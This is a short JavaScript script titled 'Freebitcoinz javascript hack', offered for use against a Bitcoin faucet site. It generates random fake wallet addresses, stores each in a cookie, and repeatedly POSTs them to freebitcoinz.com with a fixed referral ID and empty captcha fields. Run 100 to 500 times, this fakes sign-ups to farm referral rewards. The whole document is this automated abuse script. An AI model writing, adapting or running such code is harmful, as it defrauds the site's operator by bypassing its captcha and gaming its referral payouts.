Freebitcoinz javascript hack

function createCookie(name,value,days) {
    if (days) {
        var date = new Date();
        date.setTime(date.getTime()+(days*24*60*60*1000));
        var expires = "; expires="+date.toGMTString();
    }
    else var expires = "";
    document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
    var nameEQ = name + "=";
    var ca = document.cookie.split(';');
    for(var i=0;i < ca.length;i++) {
        var c = ca[i];
        while (c.charAt(0)==' ') c = c.substring(1,c.length);
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
    }
    return null;
}

function updateCookie(name, value, days)
{
	eraseCookie(name);	
	createCookie(name,value,days);
}

function eraseCookie(name) {
    createCookie(name,"",-1);
}

function getRandomInt(min, max)
{
    return Math.floor(Math.random() * (max - min + 1) + min);
}

function randString(n)
{
    if(!n)
    {
        n = 5;
    }

    var text = '';
    var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

    for(var i=0; i < n; i++)
    {
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    }

    return text;
}

$.wait = function( callback, seconds){
   return window.setTimeout( callback, seconds * 1000 );
}

function run( n, refID )
{
	if( n == 0 )
		return console.log('Done');
		
	var addr = '1' + randString(34);
	updateCookie('address', addr, 1);
	
	var pdata = 'referral='+refID+'&wallet_address='+addr+'&recaptcha_challenge_field=&recaptcha_response_field=';
	
	$.post('http://freebitcoinz.com/', pdata, function(){
		$.post('http://freebitcoinz.com/extra/', {'extras':'done'}, function(){
			console.log( "Worker " + n + " wallet " + addr );
			return run(n-1, refID);
		});
	});
}

//20120
//24901
//26565
var randRef = getRandomInt(100, 500);
run(randRef,'26565');